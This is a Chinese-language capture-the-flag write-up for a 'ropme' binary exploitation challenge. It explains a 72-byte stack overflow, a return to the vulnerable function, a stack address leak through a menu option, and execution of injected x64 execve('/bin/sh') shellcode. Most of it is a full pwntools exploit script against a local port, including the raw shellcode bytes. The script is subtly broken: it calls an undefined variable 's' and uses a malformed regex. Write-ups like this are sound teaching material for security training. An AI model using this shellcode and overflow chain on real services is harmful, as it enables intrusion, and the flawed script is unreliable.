ㄎㄎ 大概只能產出這題超簡單 PWN 的 writup ….其他題目GG A_A
這題題目很明顯告訴你…ROPME……所以就ROP吧…XD
程式是 x64 的ELF 執行檔
丟給反組譯工具看看囉
看到這………函數名稱都叫你ROP他了..XXD
看到第7行~那邊有overflow的點~
那就來算要塞多少東西才能控制EIP囉 ……0x8 + 0x40 = 72
塞72個byte後就到了 return address 所在的位置
再繼續看一下commands這個function
這是他選單的部分
這題還滿好心的
其中一個選項直接給你了剛剛被overflow的變數的位置….( commands 中的 a1)
另一個選項也告訴你flag所在的位置
然後這題並沒有DEP….所以shellcode放上stack後再靠 a1 就能知道shellcode的位置了
所以先控制EIP到時候再回去ropme這個函數
接著靠他的選項leak出stack的位置
接下來回到ropme後,塞shell code以及將EIP控制到stack上
就能拿到shell囉
完整POC如下
import re
from pwn import *
socket = remote('127.0.0.1', 4000)
### Welcome Msg
socket.recv()
### What's your name
socket.recv()
### First Control EIP back to ropme function
socket.send('a'*72)
socket.send(p64(0x40087e))
socket.send('\n')
socket.recv()
### leak variable address
socket.send('1\n')
addr_info = s.recv()
ret_addr = re.findall(r'0x[0-9A-Za-f]+', addr_info)[0]
### exit , backto ropme function and then rsp + 0x8
socket.send('3\n')
### What's your name
text = s.recv()
### DEP not enable ....so..x64 shellcode
socket.send('\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05')
socket.send('b'*45)
### Controll EIP again ...we contol it jump to stack this time ( remember that stack address will + 0x8
socket.send(p64(int(ret_addr,16)+8))
socket.send('\n')
socket.interactive()